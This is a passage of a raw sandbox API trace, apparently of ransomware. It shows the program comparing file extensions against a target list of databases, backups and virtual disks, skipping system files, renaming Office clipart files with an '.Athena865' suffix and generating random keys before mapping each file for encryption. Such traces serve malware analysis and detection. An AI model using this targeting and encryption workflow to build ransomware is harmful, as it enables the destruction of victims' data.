lpString2="tgz") returned 1 [0128.899] lstrlenW (lpString="vbox") returned 4 [0128.899] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0128.899] lstrlenW (lpString="vdi") returned 3 [0128.899] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0128.899] lstrlenW (lpString="vhd") returned 3 [0128.899] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0128.899] lstrlenW (lpString="vhdx") returned 4 [0128.899] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0128.899] lstrlenW (lpString="avhd") returned 4 [0128.899] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0128.899] lstrlenW (lpString="db") returned 2 [0128.900] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0128.900] lstrlenW (lpString="db2") returned 3 [0128.900] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0128.900] lstrlenW (lpString="db3") returned 3 [0128.900] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0128.900] lstrlenW (lpString="dbf") returned 3 [0128.900] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0128.900] lstrlenW (lpString="mdf") returned 3 [0128.900] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0128.900] lstrlenW (lpString="mdb") returned 3 [0128.900] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0128.900] lstrlenW (lpString="sql") returned 3 [0128.900] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0128.900] lstrlenW (lpString="sqlite") returned 6 [0128.900] lstrcmpiW (lpString1="55.WMF", lpString2="sqlite") returned -1 [0128.900] lstrlenW (lpString="sqlite3") returned 7 [0128.900] lstrcmpiW (lpString1="955.WMF", lpString2="sqlite3") returned -1 [0128.900] lstrlenW (lpString="sqlitedb") returned 8 [0128.900] lstrcmpiW (lpString1="9955.WMF", lpString2="sqlitedb") returned -1 [0128.900] lstrlenW (lpString="xml") returned 3 [0128.900] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0128.900] lstrlenW (lpString="$er") returned 3 [0128.900] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0128.900] lstrlenW (lpString="4dd") returned 3 [0128.900] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0128.900] lstrlenW (lpString="4dl") returned 3 [0128.900] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0128.900] lstrlenW (lpString="^^^") returned 3 [0128.901] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0128.901] lstrlenW (lpString="abs") returned 3 [0128.901] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0128.901] lstrlenW (lpString="abx") returned 3 [0128.901] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0128.901] lstrlenW (lpString="accdb") returned 5 [0128.901] lstrcmpiW (lpString1="5.WMF", lpString2="accdb") returned -1 [0128.901] lstrlenW (lpString="accdc") returned 5 [0128.901] lstrcmpiW (lpString1="5.WMF", lpString2="accdc") returned -1 [0128.901] lstrlenW (lpString="accde") returned 5 [0128.901] lstrcmpiW (lpString1="5.WMF", lpString2="accde") returned -1 [0128.901] lstrlenW (lpString="accdr") returned 5 [0128.901] lstrcmpiW (lpString1="5.WMF", lpString2="accdr") returned -1 [0128.901] lstrlenW (lpString="accdt") returned 5 [0128.901] lstrcmpiW (lpString1="5.WMF", lpString2="accdt") returned -1 [0128.901] lstrlenW (lpString="accdw") returned 5 [0128.901] lstrcmpiW (lpString1="5.WMF", lpString2="accdw") returned -1 [0128.901] lstrlenW (lpString="accft") returned 5 [0128.901] lstrcmpiW (lpString1="5.WMF", lpString2="accft") returned -1 [0128.901] lstrlenW (lpString="adb") returned 3 [0128.901] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0128.901] lstrlenW (lpString="adb") returned 3 [0128.901] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0128.901] lstrlenW (lpString="ade") returned 3 [0128.901] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0128.901] lstrlenW (lpString="adf") returned 3 [0128.901] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0128.901] lstrlenW (lpString="adn") returned 3 [0128.902] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0128.902] lstrlenW (lpString="adp") returned 3 [0128.902] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0128.902] lstrlenW (lpString="alf") returned 3 [0128.902] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0128.902] lstrlenW (lpString="ask") returned 3 [0128.902] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0128.902] lstrlenW (lpString="btr") returned 3 [0128.902] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0128.902] lstrlenW (lpString="cat") returned 3 [0128.902] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0128.902] lstrlenW (lpString="cdb") returned 3 [0128.902] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0128.902] lstrlenW (lpString="ckp") returned 3 [0128.902] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0128.902] lstrlenW (lpString="cma") returned 3 [0128.902] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0128.902] lstrlenW (lpString="cpd") returned 3 [0128.902] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0128.902] lstrlenW (lpString="dacpac") returned 6 [0128.902] lstrcmpiW (lpString1="55.WMF", lpString2="dacpac") returned -1 [0128.902] lstrlenW (lpString="dad") returned 3 [0128.902] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0128.902] lstrlenW (lpString="dadiagrams") returned 10 [0128.902] lstrcmpiW (lpString1="239955.WMF", lpString2="dadiagrams") returned -1 [0128.902] lstrlenW (lpString="daschema") returned 8 [0128.902] lstrcmpiW (lpString1="9955.WMF", lpString2="daschema") returned -1 [0128.902] lstrlenW (lpString="db-journal") returned 10 [0128.903] lstrcmpiW (lpString1="239955.WMF", lpString2="db-journal") returned -1 [0128.903] lstrlenW (lpString="db-shm") returned 6 [0128.903] lstrcmpiW (lpString1="55.WMF", lpString2="db-shm") returned -1 [0128.903] lstrlenW (lpString="db-wal") returned 6 [0128.903] lstrcmpiW (lpString1="55.WMF", lpString2="db-wal") returned -1 [0128.903] lstrlenW (lpString="dbc") returned 3 [0128.903] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0128.903] lstrlenW (lpString="dbs") returned 3 [0128.903] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0128.903] lstrlenW (lpString="dbt") returned 3 [0128.903] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0128.903] lstrlenW (lpString="dbv") returned 3 [0128.903] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0128.903] lstrlenW (lpString="dbx") returned 3 [0128.903] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0128.903] lstrlenW (lpString="dcb") returned 3 [0128.903] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0128.903] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0128.903] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF.Athena865") returned 73 [0128.903] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239955.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239955.wmf.athena865"), dwFlags=0x1) returned 1 [0128.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239955.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.909] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4936) returned 1 [0128.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0128.910] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0128.911] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0128.911] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.912] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.912] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.912] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1650, lpName=0x0) returned 0x154 [0128.913] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1650) returned 0x100000 [0128.914] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.915] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.915] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.915] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0128.915] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0128.915] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0128.915] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0128.916] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0239965.WMF" | out: lpString1="J0239965.WMF") returned="J0239965.WMF" [0128.916] lstrlenW (lpString="J0239965.WMF") returned 12 [0128.916] lstrlenW (lpString="Athena865") returned 9 [0128.916] lstrcmpiW (lpString1="39965.WMF", lpString2="Athena865") returned -1 [0128.916] lstrlenW (lpString=".dll") returned 4 [0128.916] lstrcmpiW (lpString1="J0239965.WMF", lpString2=".dll") returned 1 [0128.916] lstrlenW (lpString=".lnk") returned 4 [0128.916] lstrcmpiW (lpString1="J0239965.WMF", lpString2=".lnk") returned 1 [0128.916] lstrlenW (lpString=".ini") returned 4 [0128.916] lstrcmpiW (lpString1="J0239965.WMF", lpString2=".ini") returned 1 [0128.916] lstrlenW (lpString=".sys") returned 4 [0128.916] lstrcmpiW (lpString1="J0239965.WMF", lpString2=".sys") returned 1 [0128.916] lstrlenW (lpString="J0239965.WMF") returned 12 [0128.916] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF.Athena865") returned 73 [0128.916] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239965.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239965.wmf.athena865"), dwFlags=0x1) returned 1 [0128.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239965.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.918] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5920) returned 1 [0128.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0128.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0128.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0128.919] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.920] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.920] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.920] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a20, lpName=0x0) returned 0x154 [0128.922] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1a20) returned 0x100000 [0128.925] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.928] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.928] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.928] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0128.929] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0239967.WMF" | out: lpString1="J0239967.WMF") returned="J0239967.WMF" [0128.929] lstrlenW (lpString="J0239967.WMF") returned 12 [0128.929] lstrlenW (lpString="Athena865") returned 9 [0128.929] lstrcmpiW (lpString1="39967.WMF", lpString2="Athena865") returned -1 [0128.929] lstrlenW (lpString=".dll") returned 4 [0128.929] lstrcmpiW (lpString1="J0239967.WMF", lpString2=".dll") returned 1 [0128.929] lstrlenW (lpString=".lnk") returned 4 [0128.929] lstrcmpiW (lpString1="J0239967.WMF", lpString2=".lnk") returned 1 [0128.929] lstrlenW (lpString=".ini") returned 4 [0128.929] lstrcmpiW (lpString1="J0239967.WMF", lpString2=".ini") returned 1 [0128.929] lstrlenW (lpString=".sys") returned 4 [0128.929] lstrcmpiW (lpString1="J0239967.WMF", lpString2=".sys") returned 1 [0128.929] lstrlenW (lpString="J0239967.WMF") returned 12 [0128.929] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF.Athena865") returned 73 [0128.930] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239967.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239967.wmf.athena865"), dwFlags=0x1) returned 1 [0128.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239967.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.931] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5452) returned 1 [0128.931] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0128.931] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0128.931] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0128.931] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.932] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.932] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.932] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1850, lpName=0x0) returned 0x154 [0128.935] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1850) returned 0x100000 [0128.937] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.941] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.941] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.941] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0128.943] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0239973.WMF" | out: lpString1="J0239973.WMF") returned="J0239973.WMF" [0128.943] lstrlenW (lpString="J0239973.WMF") returned 12 [0128.943] lstrlenW (lpString="Athena865") returned 9 [0128.943] lstrcmpiW (lpString1="39973.WMF", lpString2="Athena865") returned -1 [0128.943] lstrlenW (lpString=".dll") returned 4 [0128.943] lstrcmpiW (lpString1="J0239973.WMF", lpString2=".dll") returned 1 [0128.943] lstrlenW (lpString=".lnk") returned 4 [0128.943] lstrcmpiW (lpString1="J0239973.WMF", lpString2=".lnk") returned 1 [0128.943] lstrlenW (lpString=".ini") returned 4 [0128.943] lstrcmpiW (lpString1="J0239973.WMF", lpString2=".ini") returned 1 [0128.943] lstrlenW (lpString=".sys") returned 4 [0128.943] lstrcmpiW (lpString1="J0239973.WMF", lpString2=".sys") returned 1 [0128.944] lstrlenW (lpString="J0239973.WMF") returned 12 [0128.945] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF.Athena865") returned 73 [0128.946] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239973.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239973.wmf.athena865"), dwFlags=0x1) returned 1 [0128.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239973.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.960] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5096) returned 1 [0128.961] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0128.964] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0128.964] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0128.965] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.966] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.967] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.968] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16f0, lpName=0x0) returned 0x154 [0128.970] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16f0) returned 0x100000 [0128.972] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.976] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.976] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.977] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0128.979] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0239975.WMF" | out: lpString1="J0239975.WMF") returned="J0239975.WMF" [0128.979] lstrlenW (lpString="J0239975.WMF") returned 12 [0128.979] lstrlenW (lpString="Athena865") returned 9 [0128.979] lstrcmpiW (lpString1="39975.WMF", lpString2="Athena865") returned -1 [0128.979] lstrlenW (lpString=".dll") returned 4 [0128.979] lstrcmpiW (lpString1="J0239975.WMF", lpString2=".dll") returned 1 [0128.979] lstrlenW (lpString=".lnk") returned 4 [0128.979] lstrcmpiW (lpString1="J0239975.WMF", lpString2=".lnk") returned 1 [0128.980] lstrlenW (lpString=".ini") returned 4 [0128.980] lstrcmpiW (lpString1="J0239975.WMF", lpString2=".ini") returned 1 [0128.980] lstrlenW (lpString=".sys") returned 4 [0128.980] lstrcmpiW (lpString1="J0239975.WMF", lpString2=".sys") returned 1 [0128.980] lstrlenW (lpString="J0239975.WMF") returned 12 [0128.980] lstrlenW (lpString="bak") returned 3 [0128.980] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0128.980] lstrlenW (lpString="ba_") returned 3 [0128.980] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0128.980] lstrlenW (lpString="dbb") returned 3 [0128.980] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0128.980] lstrlenW (lpString="vmdk") returned 4 [0128.980] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0128.980] lstrlenW (lpString="rar") returned 3 [0128.980] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0128.980] lstrlenW (lpString="zip") returned 3 [0128.980] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0128.980] lstrlenW (lpString="tgz") returned 3 [0128.980] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0128.980] lstrlenW (lpString="vbox") returned 4 [0128.980] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0128.980] lstrlenW (lpString="vdi") returned 3 [0128.980] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0128.980] lstrlenW (lpString="vhd") returned 3 [0128.980] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0128.980] lstrlenW (lpString="vhdx") returned 4 [0128.981] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0128.981] lstrlenW (lpString="avhd") returned 4 [0128.981] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0128.981] lstrlenW (lpString="db") returned 2 [0128.981] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0128.981] lstrlenW (lpString="db2") returned 3 [0128.981] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0128.981] lstrlenW (lpString="db3") returned 3 [0128.981] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0128.981] lstrlenW (lpString="dbf") returned 3 [0128.981] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0128.981] lstrlenW (lpString="mdf") returned 3 [0128.981] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0128.981] lstrlenW (lpString="mdb") returned 3 [0128.981] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0128.981] lstrlenW (lpString="sql") returned 3 [0128.981] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0128.981] lstrlenW (lpString="sqlite") returned 6 [0128.981] lstrcmpiW (lpString1="75.WMF", lpString2="sqlite") returned -1 [0128.981] lstrlenW (lpString="sqlite3") returned 7 [0128.981] lstrcmpiW (lpString1="975.WMF", lpString2="sqlite3") returned -1 [0128.981] lstrlenW (lpString="sqlitedb") returned 8 [0128.981] lstrcmpiW (lpString1="9975.WMF", lpString2="sqlitedb") returned -1 [0128.981] lstrlenW (lpString="xml") returned 3 [0128.981] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0128.981] lstrlenW (lpString="$er") returned 3 [0128.982] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0128.982] lstrlenW (lpString="4dd") returned 3 [0128.982] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0128.982] lstrlenW (lpString="4dl") returned 3 [0128.982] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0128.982] lstrlenW (lpString="^^^") returned 3 [0128.982] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0128.982] lstrlenW (lpString="abs") returned 3 [0128.982] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0128.982] lstrlenW (lpString="abx") returned 3 [0128.982] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0128.982] lstrlenW (lpString="accdb") returned 5 [0128.982] lstrcmpiW (lpString1="5.WMF", lpString2="accdb") returned -1 [0128.982] lstrlenW (lpString="accdc") returned 5 [0128.982] lstrcmpiW (lpString1="5.WMF", lpString2="accdc") returned -1 [0128.982] lstrlenW (lpString="accde") returned 5 [0128.982] lstrcmpiW (lpString1="5.WMF", lpString2="accde") returned -1 [0128.982] lstrlenW (lpString="accdr") returned 5 [0128.982] lstrcmpiW (lpString1="5.WMF", lpString2="accdr") returned -1 [0128.982] lstrlenW (lpString="accdt") returned 5 [0128.982] lstrcmpiW (lpString1="5.WMF", lpString2="accdt") returned -1 [0128.982] lstrlenW (lpString="accdw") returned 5 [0128.982] lstrcmpiW (lpString1="5.WMF", lpString2="accdw") returned -1 [0128.982] lstrlenW (lpString="accft") returned 5 [0128.982] lstrcmpiW (lpString1="5.WMF", lpString2="accft") returned -1 [0128.982] lstrlenW (lpString="adb") returned 3 [0128.982] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0128.983] lstrlenW (lpString="adb") returned 3 [0128.983] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0128.983] lstrlenW (lpString="ade") returned 3 [0128.983] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0128.983] lstrlenW (lpString="adf") returned 3 [0128.983] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0128.983] lstrlenW (lpString="adn") returned 3 [0128.983] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0128.983] lstrlenW (lpString="adp") returned 3 [0128.983] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0128.983] lstrlenW (lpString="alf") returned 3 [0128.983] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0128.983] lstrlenW (lpString="ask") returned 3 [0128.983] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0128.983] lstrlenW (lpString="btr") returned 3 [0128.983] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0128.983] lstrlenW (lpString="cat") returned 3 [0128.983] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0128.983] lstrlenW (lpString="cdb") returned 3 [0128.983] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0128.983] lstrlenW (lpString="ckp") returned 3 [0128.983] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0128.983] lstrlenW (lpString="cma") returned 3 [0128.983] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0128.983] lstrlenW (lpString="cpd") returned 3 [0128.983] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0128.984] lstrlenW (lpString="dacpac") returned 6 [0128.984] lstrcmpiW (lpString1="75.WMF", lpString2="dacpac") returned -1 [0128.984] lstrlenW (lpString="dad") returned 3 [0128.984] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0128.984] lstrlenW (lpString="dadiagrams") returned 10 [0128.984] lstrcmpiW (lpString1="239975.WMF", lpString2="dadiagrams") returned -1 [0128.984] lstrlenW (lpString="daschema") returned 8 